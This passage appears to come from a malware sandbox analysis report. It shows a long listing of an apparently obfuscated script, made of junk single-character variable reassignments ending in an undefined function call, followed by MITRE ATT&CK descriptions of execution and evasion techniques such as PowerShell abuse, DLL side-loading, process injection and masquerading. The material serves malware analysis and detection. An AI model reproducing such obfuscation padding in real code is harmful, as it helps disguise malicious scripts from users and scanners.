410	gfqybll = "h";
411	gfqybll = "l";
412	gfqybll = "P";
413	gfqybll = "z";
414	gfqybll = "k";
415	gfqybll = "T";
416	gfqybll = "A";
417	gfqybll = "F";
418	gfqybll = "b";
419	gfqybll = "Q";
420	gfqybll = "y";
421	gfqybll = "j";
422	gfqybll = "M";
423	gfqybll = "k";
424	gfqybll = "F";
425	gfqybll = "P";
426	gfqybll = "Z";
427	gfqybll = "w";
428	gfqybll = "M";
429	gfqybll = "2";
430	wuzjm = "W";
431	wuzjm = "F";
432	wuzjm = "H";
433	wuzjm = "c";
434	wuzjm = "k";
435	wuzjm = "g";
436	wuzjm = "h";
437	wuzjm = "b";
438	wuzjm = "b";
439	wuzjm = "l";
440	wuzjm = "Q";
441	wuzjm = "m";
442	wuzjm = "z";
443	wuzjm = "K";
444	wuzjm = "G";
445	wuzjm = "t";
446	wuzjm = "s";
447	wuzjm = "I";
448	wuzjm = "R";
449	wuzjm = "r";
450	wuzjm = "c";
451	wuzjm = "m";
452	wuzjm = "u";
453	wuzjm = "a";
454	wuzjm = "G";
455	wuzjm = "P";
456	wuzjm = "T";
457	wuzjm = "D";
458	wuzjm = "U";
459	wuzjm = "C";
460	wuzjm = "r";
461	wuzjm = "K";
462	wuzjm = "1";
463	epjvo = "N";
464	epjvo = "u";
465	epjvo = "n";
466	epjvo = "v";
467	epjvo = "D";
468	epjvo = "U";
469	epjvo = "O";
470	epjvo = "I";
471	epjvo = "P";
472	epjvo = "o";
473	epjvo = "j";
474	epjvo = "q";
475	epjvo = "y";
476	epjvo = "J";
477	epjvo = "L";
478	epjvo = "R";
479	epjvo = "G";
480	epjvo = "X";
481	epjvo = "w";
482	epjvo = "F";
483	epjvo = "u";
484	epjvo = "Y";
485	epjvo = "d";
486	epjvo = "q";
487	epjvo = "G";
488	epjvo = "Y";
489	epjvo = "a";
490	epjvo = "T";
491	susdagi = "S";
492	susdagi = "q";
493	susdagi = "A";
494	susdagi = "n";
495	susdagi = "P";
496	susdagi = "g";
497	susdagi = "Z";
498	susdagi = "Y";
499	susdagi = "g";
500	susdagi = "s";
501	susdagi = "w";
502	susdagi = "J";
503	susdagi = "y";
504	susdagi = "i";
505	susdagi = "d";
506	susdagi = "M";
507	susdagi = "F";
508	susdagi = "f";
509	susdagi = "U";
510	susdagi = "m";
511	susdagi = "r";
512	susdagi = "M";
513	susdagi = "R";
514	susdagi = "q";
515	susdagi = "b";
516	susdagi = "c";
517	susdagi = "7";
518	qfolwwolq = "Q";
519	qfolwwolq = "Q";
520	qfolwwolq = "A";
521	qfolwwolq = "I";
522	qfolwwolq = "G";
523	qfolwwolq = "-";
524	rqpvw = "y";
525	rqpvw = "z";
526	rqpvw = "W";
527	rqpvw = "G";
528	rqpvw = "g";
529	rqpvw = "H";
530	rqpvw = "E";
531	rqpvw = "Q";
532	rqpvw = "l";
533	rqpvw = "X";
534	rqpvw = "Z";
535	rqpvw = "I";
536	rqpvw = "y";
537	rqpvw = "Y";
538	rqpvw = "j";
539	rqpvw = "e";
540	rqpvw = "p";
541	rqpvw = "m";
542	rqpvw = "O";
543	rqpvw = "U";
544	rqpvw = "l";
545	rqpvw = "h";
546	rqpvw = "O";
547	rqpvw = "P";
548	rqpvw = "D";
549	rqpvw = "Z";
550	rqpvw = "F";
551	rqpvw = "D";
552	rqpvw = "J";
553	rqpvw = "u";
554	rqpvw = "U";
555	rqpvw = "o";
556	rqpvw = "c";
557	rqpvw = "L";
558	rqpvw = "s";
559	rqpvw = "L";
560	rqpvw = "s";
561	rqpvw = "F";
562	rqpvw = "a";
563	rqpvw = "w";
564	rqpvw = "V";
565	rqpvw = "h";
566	rqpvw = "t";
567	rqpvw = "/";
568	avirvzom = "y";
569	avirvzom = "E";
570	avirvzom = "q";
571	avirvzom = "a";
572	avirvzom = "c";
573	avirvzom = "r";
574	avirvzom = "x";
575	avirvzom = "j";
576	avirvzom = "p";
577	avirvzom = "q";
578	shbzumodt = "z";
579	shbzumodt = "Y";
580	shbzumodt = "s";
581	shbzumodt = "v";
582	shbzumodt = "C";
583	shbzumodt = "W";
584	shbzumodt = "p";
585	shbzumodt = "k";
586	shbzumodt = "Z";
587	shbzumodt = "L";
588	shbzumodt = "z";
589	shbzumodt = "O";
590	shbzumodt = "v";
591	shbzumodt = "a";
592	shbzumodt = "F";
593	shbzumodt = "J";
594	shbzumodt = "x";
595	shbzumodt = "o";
596	shbzumodt = "A";
597	shbzumodt = "r";
598	shbzumodt = "I";
599	shbzumodt = "c";
600	dllfwpx = "q";
601	dllfwpx = "i";
602	dllfwpx = "Q";
603	dllfwpx = "J";
604	dllfwpx = "D";
605	dllfwpx = "j";
606	dllfwpx = "4";
607	dicpjzm = "g";
608	dicpjzm = "K";
609	dicpjzm = "p";
610	dicpjzm = "M";
611	dicpjzm = "c";
612	dicpjzm = "u";
613	dicpjzm = "u";
614	dicpjzm = "H";
615	dicpjzm = "X";
616	dicpjzm = "@";
617	ljtliyi = "p";
618	ljtliyi = "p";
619	ljtliyi = "a";
620	ljtliyi = "m";
621	ljtliyi = "D";
622	ljtliyi = "y";
623	ljtliyi = "g";
624	ljtliyi = "J";
625	ljtliyi = "S";
626	ljtliyi = "X";
627	ljtliyi = "O";
628	ljtliyi = "H";
629	ljtliyi = "E";
630	ljtliyi = "j";
631	ljtliyi = "b";
632	hihcykt = "y";
633	hihcykt = "i";
634	hihcykt = "p";
635	hihcykt = "v";
636	hihcykt = "I";
637	hihcykt = "M";
638	hihcykt = "w";
639	hihcykt = "x";
640	hihcykt = "n";
641	hihcykt = "H";
642	hihcykt = "D";
643	hihcykt = "t";
644	hihcykt = "F";
645	hihcykt = "T";
646	hihcykt = "g";
647	hihcykt = "X";
648	hihcykt = "K";
649	hihcykt = "B";
650	hihcykt = "n";
651	wkkffnj = "z";
652	wkkffnj = "J";
653	wkkffnj = "Y";
654	wkkffnj = "e";
655	wkkffnj = "b";
656	wkkffnj = "x";
657	wkkffnj = "J";
658	wkkffnj = "s";
659	wkkffnj = "r";
660	wkkffnj = "D";
661	wkkffnj = "y";
662	wkkffnj = "E";
663	wkkffnj = "j";
664	wkkffnj = "m";
665	wkkffnj = "L";
666	wkkffnj = "E";
667	wkkffnj = "u";
668	wkkffnj = "J";
669	wkkffnj = "C";
670	wkkffnj = "t";
671	wkkffnj = "L";
672	wkkffnj = "Y";
673	wkkffnj = "b";
674	wkkffnj = "x";
675	wkkffnj = "d";
676	wkkffnj = "y";
677	wkkffnj = "E";
678	wkkffnj = "k";
679	wkkffnj = "E";
680	wkkffnj = "b";
681	wkkffnj = "l";
682	wkkffnj = "Y";
683	wkkffnj = "e";
684	wkkffnj = "s";
685	vcswpi = "R";
686	vcswpi = "a";
687	vcswpi = "y";
688	vcswpi = "K";
689	vcswpi = "Z";
690	vcswpi = "q";
691	vcswpi = "a";
692	vcswpi = "E";
693	vcswpi = "l";
694	vcswpi = "a";
695	vcswpi = "i";
696	vcswpi = "N";
697	vcswpi = "s";
698	vcswpi = "H";
699	vcswpi = "m";
700	vcswpi = "I";
701	vcswpi = "w";
702	vcswpi = "s";
703	vcswpi = "u";
704	vcswpi = "P";
705	vcswpi = "N";
706	vcswpi = "G";
707	vcswpi = "z";
708	vcswpi = "F";
709	vcswpi = "g";
710	vcswpi = "N";
711	vcswpi = "Q";
712	vcswpi = "y";
713	vcswpi = "M";
714	vcswpi = "\\";
715	phmdgp = "a";
716	phmdgp = "a";
717	phmdgp = "t";
718	phmdgp = "Y";
719	phmdgp = "W";
720	phmdgp = "a";
721	phmdgp = "Y";
722	phmdgp = "N";
723	phmdgp = "u";
724	phmdgp = "y";
725	phmdgp = "N";
726	phmdgp = "Y";
727	phmdgp = "s";
728	phmdgp = "e";
729	phmdgp = "W";
730	phmdgp = "T";
731	phmdgp = "l";
732	phmdgp = "b";
733	phmdgp = "I";
734	phmdgp = "X";
735	phmdgp = "F";
736	phmdgp = "o";
737	phmdgp = "s";
738	phmdgp = "p";
739	phmdgp = "L";
740	phmdgp = "A";
741	phmdgp = "L";
742	phmdgp = "U";
743	phmdgp = "K";
744	phmdgp = "G";
745	phmdgp = "i";
746	phmdgp = "O";
747	phmdgp = "g";
748	phmdgp = "I";
749	phmdgp = "G";
750	phmdgp = "Y";
751	onytb = "z";
752	onytb = "H";
753	onytb = "N";
754	onytb = "K";
755	onytb = "s";
756	onytb = "f";
757	onytb = "k";
758	onytb = "S";
759	onytb = "R";
760	onytb = "b";
761	onytb = "g";
762	onytb = "a";
763	onytb = "U";
764	onytb = "G";
765	onytb = "C";
766	onytb = "l";
767	onytb = "R";
768	onytb = "v";
769	onytb = "d";
770	onytb = "p";
771	onytb = "a";
772	onytb = "Z";
773	onytb = "P";
774	onytb = "y";
775	onytb = "i";
776	onytb = "P";
777	ytocnkbcl = "R";
778	ytocnkbcl = "p";
779	ytocnkbcl = "Q";
780	ytocnkbcl = "G";
781	ytocnkbcl = "P";
782	ytocnkbcl = "V";
783	ytocnkbcl = "D";
784	ytocnkbcl = "X";
785	ytocnkbcl = "P";
786	ytocnkbcl = "J";
787	ytocnkbcl = "s";
788	ytocnkbcl = "d";
789	ytocnkbcl = "C";
790	ytocnkbcl = "U";
791	ytocnkbcl = "h";
792	ytocnkbcl = "p";
793	ytocnkbcl = "P";
794	ytocnkbcl = "q";
795	ytocnkbcl = "C";
796	ytocnkbcl = "h";
797	ytocnkbcl = "t";
798	ytocnkbcl = "s";
799	ytocnkbcl = "s";
800	ytocnkbcl = "S";
801	ytocnkbcl = "O";
802	ytocnkbcl = "i";
803	rrgtvmr = "z";
804	rrgtvmr = "Y";
805	rrgtvmr = "G";
806	rrgtvmr = "w";
807	rrgtvmr = "m";
808	rrgtvmr = "i";
809	rrgtvmr = "N";
810	rrgtvmr = "n";
811	rrgtvmr = "Q";
812	rrgtvmr = "G";
813	rrgtvmr = "K";
814	rrgtvmr = "v";
815	rrgtvmr = "q";
816	rrgtvmr = "n";
817	rrgtvmr = "k";
818	rrgtvmr = "Y";
819	rrgtvmr = "0";
820	gyizluo = "D";
821	gyizluo = "u";
822	gyizluo = "q";
823	gyizluo = "Q";
824	feufdy = "T";
825	feufdy = "m";
826	feufdy = "R";
827	feufdy = "V";
828	feufdy = "i";
829	feufdy = "z";
830	feufdy = "T";
831	feufdy = "J";
832	feufdy = "I";
833	feufdy = "b";
834	feufdy = "i";
835	feufdy = "I";
836	feufdy = "n";
837	feufdy = "z";
838	feufdy = "G";
839	feufdy = "W";
840	feufdy = "y";
841	feufdy = "s";
842	feufdy = "E";
843	feufdy = "R";
844	feufdy = "f";
845	feufdy = "s";
846	feufdy = "L";
847	feufdy = "G";
848	feufdy = "E";
849	feufdy = "I";
850	feufdy = "A";
851	feufdy = "b";
852	feufdy = "Q";
853	feufdy = "w";
854	feufdy = "B";
855	feufdy = "u";
856	feufdy = "m";
857	feufdy = "u";
858	feufdy = "9";
859	ztblpgm = "D";
860	ztblpgm = "q";
861	ztblpgm = "m";
862	ztblpgm = "k";
863	ztblpgm = "I";
864	ztblpgm = "A";
865	ztblpgm = "Y";
866	ztblpgm = "X";
867	ztblpgm = "A";
868	ztblpgm = "A";
869	ztblpgm = "o";
870	ztblpgm = "Z";
871	ztblpgm = "Q";
872	ztblpgm = "x";
873	ztblpgm = "z";
874	ztblpgm = "H";
875	ztblpgm = "X";
876	ztblpgm = "y";
877	ztblpgm = "c";
878	ztblpgm = "J";
879	ztblpgm = "Y";
880	ztblpgm = "n";
881	ztblpgm = "T";
882	ztblpgm = "W";
883	ztblpgm = ":";
884	wtfgvczs = "r";
885	wtfgvczs = "q";
886	wtfgvczs = "s";
887	wtfgvczs = "w";
888	wtfgvczs = "U";
889	wtfgvczs = "T";
890	wtfgvczs = "z";
891	wtfgvczs = "q";
892	wtfgvczs = "U";
893	wtfgvczs = "E";
894	wtfgvczs = "g";
895	wtfgvczs = "m";
896	wtfgvczs = "V";
897	wtfgvczs = "o";
898	wtfgvczs = "j";
899	wtfgvczs = "h";
900	wtfgvczs = "A";
901	wtfgvczs = "k";
902	wtfgvczs = "a";
903	wtfgvczs = "Y";
904	wtfgvczs = "q";
905	wtfgvczs = "h";
906	wtfgvczs = "I";
907	wtfgvczs = "j";
908	wtfgvczs = "K";
909	wtfgvczs = "m";
910	wtfgvczs = "C";
911	wtfgvczs = "M";
912	wtfgvczs = "u";
913	wtfgvczs = "u";
914	wtfgvczs = "f";
915	wtfgvczs = "Q";
916	wtfgvczs = "L";
917	wtfgvczs = "a";
918	wtfgvczs = "a";
919	wtfgvczs = "u";
920	wtfgvczs = "d";
921	wtfgvczs = "L";
922	wtfgvczs = "\"";
923	hdgcqblgk = "O";
924	hdgcqblgk = "O";
925	hdgcqblgk = "n";
926	hdgcqblgk = "p";
927	hdgcqblgk = "p";
928	hdgcqblgk = "m";
929	hdgcqblgk = "T";
930	hdgcqblgk = "X";
931	hdgcqblgk = "H";
932	hdgcqblgk = "W";
933	hdgcqblgk = "U";
934	hdgcqblgk = "f";
935	hdgcqblgk = "l";
936	hdgcqblgk = "t";
937	udcpb = "U";
938	udcpb = "m";
939	udcpb = "Q";
940	udcpb = "a";
941	hndqr = "w";
942	hndqr = "w";
943	hndqr = "y";
944	hndqr = "O";
945	hndqr = "E";
946	hndqr = "w";
947	hndqr = "D";
948	hndqr = "r";
949	hndqr = "z";
950	hndqr = "P";
951	hndqr = "B";
952	hndqr = "K";
953	hndqr = "F";
954	hndqr = "J";
955	hndqr = "z";
956	hndqr = "h";
957	hndqr = ".";
958	sjsqbkfaw = "K";
959	sjsqbkfaw = "I";
960	sjsqbkfaw = "j";
961	sjsqbkfaw = "K";
962	sjsqbkfaw = "L";
963	sjsqbkfaw = "E";
964	sjsqbkfaw = "g";
965	sjsqbkfaw = "w";
966	sjsqbkfaw = "b";
967	sjsqbkfaw = "u";
968	sjsqbkfaw = "u";
969	sjsqbkfaw = "R";
970	sjsqbkfaw = "C";
971	sjsqbkfaw = "W";
972	sjsqbkfaw = "h";
973	sjsqbkfaw = "p";
974	sjsqbkfaw = "v";
975	sjsqbkfaw = "H";
976	sjsqbkfaw = "I";
977	sjsqbkfaw = "g";
978	sjsqbkfaw = "u";
979	sjsqbkfaw = "o";
980	sjsqbkfaw = "v";
981	sjsqbkfaw = "c";
982	sjsqbkfaw = "a";
983	sjsqbkfaw = "N";
984	sjsqbkfaw = "G";
985	sjsqbkfaw = "m";
986	sjsqbkfaw = "i";
987	sjsqbkfaw = "B";
988	sjsqbkfaw = "k";
989	sjsqbkfaw = "m";
990	sjsqbkfaw = "v";
991	sjsqbkfaw = "w";
992	sjsqbkfaw = "r";
993	bonnuvu = "d";
994	bonnuvu = "u";
995	bonnuvu = "c";
996	bonnuvu = "g";
997	bonnuvu = "z";
998	bonnuvu = "M";
999	bonnuvu = "E";
1000	bonnuvu = "o";
1001	bonnuvu = "G";
1002	bonnuvu = "B";
1003	bonnuvu = "Z";
1004	bonnuvu = "h";
1005	bonnuvu = "S";
1006	bonnuvu = "e";
1007	bonnuvu = "w";
1008	bonnuvu = "D";
1009	bonnuvu = "S";
1010	bonnuvu = "X";
1011	bonnuvu = "h";
1012	bonnuvu = "n";
1013	bonnuvu = "c";
1014	bonnuvu = "v";
1015	bonnuvu = "m";
1016	bonnuvu = "X";
1017	bonnuvu = "r";
1018	bonnuvu = "S";
1019	bonnuvu = "Z";
1020	bonnuvu = "C";
1021	bonnuvu = "R";
1022	bonnuvu = "J";
1023	bonnuvu = "P";
1024	bonnuvu = "i";
1025	bonnuvu = "L";
1026	bonnuvu = "h";
1027	bonnuvu = "a";
1028	bonnuvu = "k";
1029	bonnuvu = "G";
1030	bonnuvu = "h";
1031	uwjmlgzq = "Q";
1032	uwjmlgzq = "W";
1033	uwjmlgzq = "P";
1034	uwjmlgzq = "d";
1035	uwjmlgzq = "a";
1036	uwjmlgzq = "R";
1037	uwjmlgzq = "Z";
1038	uwjmlgzq = "X";
1039	uwjmlgzq = "g";
1040	uwjmlgzq = "T";
1041	uwjmlgzq = "z";
1042	uwjmlgzq = "F";
1043	uwjmlgzq = "y";
1044	uwjmlgzq = "X";
1045	uwjmlgzq = "g";
1046	uwjmlgzq = "a";
1047	uwjmlgzq = "C";
1048	uwjmlgzq = "o";
1049	uwjmlgzq = "K";
1050	uwjmlgzq = "J";
1051	uwjmlgzq = "w";
1052	uwjmlgzq = "O";
1053	uwjmlgzq = "U";
1054	uwjmlgzq = "z";
1055	uwjmlgzq = "B";
1056	uwjmlgzq = "J";
1057	uwjmlgzq = "y";
1058	uwjmlgzq = "C";
1059	uwjmlgzq = "r";
1060	uwjmlgzq = "v";
1061	uwjmlgzq = "N";
1062	uwjmlgzq = "_";
1063	qspfv = "a";
1064	qspfv = "a";
1065	qspfv = "k";
1066	qspfv = "o";
1067	qspfv = "n";
1068	qspfv = "R";
1069	qspfv = "V";
1070	qspfv = "D";
1071	qspfv = "N";
1072	qspfv = "H";
1073	qspfv = "e";
1074	qspfv = "e";
1075	qspfv = "L";
1076	qspfv = "d";
1077	qspfv = "a";
1078	qspfv = "V";
1079	qspfv = "e";
1080	qspfv = "L";
1081	phycgkjp = "h";
1082	phycgkjp = "k";
1083	phycgkjp = "c";
1084	phycgkjp = "d";
1085	phycgkjp = "D";
1086	phycgkjp = "y";
1087	phycgkjp = "v";
1088	phycgkjp = "R";
1089	phycgkjp = "D";
1090	phycgkjp = "n";
1091	phycgkjp = "M";
1092	phycgkjp = "t";
1093	phycgkjp = "j";
1094	phycgkjp = "a";
1095	phycgkjp = "T";
1096	phycgkjp = "L";
1097	phycgkjp = "t";
1098	phycgkjp = "k";
1099	phycgkjp = "T";
1100	phycgkjp = "I";
1101	phycgkjp = "x";
1102	phycgkjp = "n";
1103	phycgkjp = "S";
1104	phycgkjp = "Z";
1105	phycgkjp = "p";
1106	phycgkjp = "j";
1107	phycgkjp = "A";
1108	phycgkjp = "q";
1109	phycgkjp = "H";
1110	phycgkjp = "a";
1111	phycgkjp = "f";
1112	phycgkjp = "i";
1113	phycgkjp = "p";
1114	phycgkjp = "q";
1115	phycgkjp = "Y";
1116	phycgkjp = "G";
1117	phycgkjp = "R";
1118	phycgkjp = "I";
1119	phycgkjp = "R";
1120	phycgkjp = "r";
1121	phycgkjp = "E";
1122	phycgkjp = "3";
1123	svqarl = "N";
1124	svqarl = "T";
1125	svqarl = "y";
1126	svqarl = "S";
1127	ebnamruk = "j";
1128	ebnamruk = "A";
1129	ebnamruk = "y";
1130	ebnamruk = "v";
1131	ebnamruk = "y";
1132	ebnamruk = "L";
1133	ebnamruk = "j";
1134	ebnamruk = "K";
1135	ebnamruk = "H";
1136	ebnamruk = "z";
1137	ebnamruk = "n";
1138	ebnamruk = "P";
1139	ebnamruk = "q";
1140	ebnamruk = "i";
1141	ebnamruk = "S";
1142	ebnamruk = "p";
1143	ebnamruk = "i";
1144	ebnamruk = "P";
1145	ebnamruk = "i";
1146	ebnamruk = "w";
1147	ebnamruk = "n";
1148	ebnamruk = "u";
1149	ebnamruk = "E";
1150	ebnamruk = "L";
1151	ebnamruk = "g";
1152	ebnamruk = "y";
1153	ebnamruk = "V";
1154	ebnamruk = "k";
1155	ebnamruk = "X";
1156	ebnamruk = "j";
1157	ebnamruk = "I";
1158	ebnamruk = "g";
1159	ebnamruk = "U";
1160	wvfon = "C";
1161	wvfon = "i";
1162	wvfon = "a";
1163	wvfon = "B";
1164	wvfon = "8";
1165	eepzxoru = "g";
1166	eepzxoru = "P";
1167	eepzxoru = "z";
1168	eepzxoru = "V";
1169	eepzxoru = "E";
1170	eepzxoru = "W";
1171	eepzxoru = "z";
1172	eepzxoru = "t";
1173	eepzxoru = " ";
1174	apdlew = "A";
1175	apdlew = "F";
1176	apdlew = "W";
1177	apdlew = "n";
1178	apdlew = "K";
1179	apdlew = "W";
1180	apdlew = "H";
1181	apdlew = "u";
1182	apdlew = "K";
1183	apdlew = "x";
1184	apdlew = "F";
1185	apdlew = "q";
1186	apdlew = "o";
1187	apdlew = "G";
1188	apdlew = "H";
1189	apdlew = "F";
1190	apdlew = "z";
1191	apdlew = "E";
1192	apdlew = "T";
1193	apdlew = "I";
1194	apdlew = "e";
1195	apdlew = "V";
1196	apdlew = "i";
1197	apdlew = "G";
1198	apdlew = "G";
1199	apdlew = "V";
1200	apdlew = "j";
1201	apdlew = "F";
1202	apdlew = "V";
1203	apdlew = "f";
1204	apdlew = "V";
1205	apdlew = "A";
1206	apdlew = "c";
1207	apdlew = "v";
1208	apdlew = "j";
1209	apdlew = "o";
1210	apdlew = "g";
1211	apdlew = "l";
1212	zigwpknmd = "w";
1213	zigwpknmd = "d";
1214	zigwpknmd = "i";
1215	zigwpknmd = "L";
1216	zigwpknmd = "J";
1217	zigwpknmd = "Z";
1218	zigwpknmd = "t";
1219	zigwpknmd = "r";
1220	zigwpknmd = "g";
1221	zigwpknmd = "e";
1222	zigwpknmd = "h";
1223	zigwpknmd = "S";
1224	zigwpknmd = "G";
1225	zigwpknmd = "O";
1226	zigwpknmd = "N";
1227	zigwpknmd = "s";
1228	zigwpknmd = "X";
1229	zigwpknmd = "Q";
1230	zigwpknmd = "H";
1231	zigwpknmd = "V";
1232	zigwpknmd = "Q";
1233	zigwpknmd = "C";
1234	zigwpknmd = "Z";
1235	zigwpknmd = "m";
1236	zigwpknmd = "l";
1237	zigwpknmd = "i";
1238	zigwpknmd = "y";
1239	zigwpknmd = "s";
1240	zigwpknmd = "K";
1241	zigwpknmd = "i";
1242	zigwpknmd = "o";
1243	zigwpknmd = "I";
1244	zigwpknmd = "B";
1245	zigwpknmd = "Z";
1246	zigwpknmd = "m";
1247	zigwpknmd = "l";
1248	zigwpknmd = "u";
1249	zigwpknmd = "h";
1250	zigwpknmd = "P";
1251	zigwpknmd = "e";
1252	zigwpknmd = "S";
1253	zigwpknmd = "r";
1254	zigwpknmd = "d";
1255	zigwpknmd = "u";
1256	kqbtdo = "J";
1257	kqbtdo = "g";
1258	kqbtdo = "A";
1259	kqbtdo = "V";
1260	kqbtdo = "V";
1261	kqbtdo = "R";
1262	kqbtdo = "B";
1263	kqbtdo = "j";
1264	kqbtdo = "R";
1265	kqbtdo = "p";
1266	kqbtdo = "x";
1267	kqbtdo = "D";
1268	kqbtdo = "E";
1269	kqbtdo = "l";
1270	kqbtdo = "F";
1271	kqbtdo = "B";
1272	kqbtdo = "g";
1273	kqbtdo = "L";
1274	kqbtdo = "J";
1275	kqbtdo = "J";
1276	kqbtdo = "K";
1277	kqbtdo = "v";
1278	kqbtdo = "E";
1279	kqbtdo = "j";
1280	kqbtdo = "k";
1281	cutkv = "t";
1282	cutkv = "K";
1283	cutkv = "N";
1284	cutkv = "q";
1285	cutkv = "y";
1286	cutkv = "h";
1287	cutkv = "Y";
1288	cutkv = "W";
1289	cutkv = "s";
1290	cutkv = "T";
1291	cutkv = "b";
1292	cutkv = "B";
1293	cutkv = "p";
1294	cutkv = "c";
1295	cutkv = "n";
1296	cutkv = "x";
1297	cutkv = "e";
1298	cutkv = "S";
1299	cutkv = "D";
1300	cutkv = "c";
1301	cutkv = "u";
1302	cutkv = "A";
1303	cutkv = "j";
1304	cutkv = "y";
1305	cutkv = "f";
1306	cutkv = "M";
1307	cutkv = "5";
1308	sacmznw = "v";
1309	sacmznw = "z";
1310	sacmznw = "C";
1311	sacmznw = "P";
1312	sacmznw = "f";
1313	sacmznw = "R";
1314	sacmznw = "h";
1315	sacmznw = "w";
1316	sacmznw = "t";
1317	sacmznw = "M";
1318	sacmznw = "s";
1319	sacmznw = "S";
1320	sacmznw = "r";
1321	sacmznw = "v";
1322	sacmznw = "P";
1323	sacmznw = "S";
1324	sacmznw = "H";
1325	sacmznw = "A";
1326	sacmznw = "L";
1327	sacmznw = "p";
1328	sacmznw = "%";
1329	gzfnttblg = "f";
1330	gzfnttblg = "U";
1331	gzfnttblg = "k";
1332	gzfnttblg = "Y";
1333	gzfnttblg = "e";
1334	gzfnttblg = "K";
1335	gzfnttblg = "g";
1336	gzfnttblg = "M";
1337	gzfnttblg = "z";
1338	gzfnttblg = "W";
1339	gzfnttblg = "m";
1340	gzfnttblg = "e";
1341	gzfnttblg = "h";
1342	gzfnttblg = "d";
1343	gzfnttblg = "c";
1344	gzfnttblg = "i";
1345	gzfnttblg = "q";
1346	gzfnttblg = "E";
1347	gzfnttblg = "v";
1348	tsfar = "D";
1349	tsfar = "a";
1350	tsfar = "x";
1351	tsfar = "y";
1352	tsfar = "F";
1353	tsfar = "K";
1354	tsfar = "K";
1355	tsfar = "n";
1356	tsfar = "M";
1357	tsfar = "e";
1358	tsfar = "A";
1359	tsfar = "X";
1360	tsfar = "H";
1361	tsfar = "r";
1362	tsfar = "i";
1363	tsfar = "f";
1364	mknvkumc = "E";
1365	mknvkumc = "x";
1366	mknvkumc = "e";
1367	mknvkumc = "U";
1368	mknvkumc = "f";
1369	mknvkumc = "Z";
1370	mknvkumc = "k";
1371	mknvkumc = "H";
1372	livka = "G";
1373	livka = "V";
1374	livka = "b";
1375	livka = "K";
1376	livka = "k";
1377	livka = "c";
1378	livka = "B";
1379	livka = "v";
1380	livka = "l";
1381	livka = "c";
1382	livka = "C";
1383	livka = "I";
1384	livka = "k";
1385	livka = "W";
1386	livka = "h";
1387	livka = "g";
1388	livka = "t";
1389	livka = "T";
1390	livka = "E";
1391	livka = "m";
1392	livka = "H";
1393	livka = "q";
1394	livka = "A";
1395	livka = "C";
1396	livka = "K";
1397	livka = "f";
1398	livka = "b";
1399	livka = "D";
1400	livka = "f";
1401	livka = "G";
1402	livka = "B";
1403	livka = "P";
1404	livka = "v";
1405	livka = "u";
1406	livka = "W";
1407	livka = "E";
1408	livka = "r";
1409	livka = "g";
1410	livka = "z";
1411	livka = "W";
1412	livka = "C";
1413	livka = "R";
1414	livka = "L";
1415	livka = "l";
1416	livka = "&";
1417	zqpandm ( );	zqpandm() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

